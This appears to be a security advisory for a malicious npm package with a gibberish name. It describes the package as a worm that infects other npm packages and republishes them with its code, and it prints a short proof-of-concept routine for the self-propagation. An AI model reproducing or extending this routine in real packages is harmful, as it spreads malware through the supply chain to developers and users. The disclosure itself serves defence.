Malicious Package Affecting sdfjghlkfjdshlkjdhsfg package, versions *


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Mature

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  • Snyk IDnpm:sdfjghlkfjdshlkjdhsfg:20170917
  • published17 Sept 2017
  • disclosed8 Aug 2017
  • creditJordan Wright

Introduced: 8 Aug 2017

Malicious CVE NOT AVAILABLE CWE-506  (opens in a new tab)

How to fix?

Avoid usage of this package altogether.

Overview

sdfjghlkfjdshlkjdhsfg is a malicious package that infects the installing npm package, infecting them with malicious code and republishing them with it, worming its way into other npm packages.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.

PoC:

function infectModule (moduleName) {
        installModule(moduleName)
        .then(() => {
                addScript(moduleName);
                copyScript(moduleName);

            return incrementPatchVersion(moduleName);
    })
    .then(() => publishInfectedModule(moduleName))
    .catch(() => {});

}

const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";

infectModule(MODULE_NAME);

CVSS Scores

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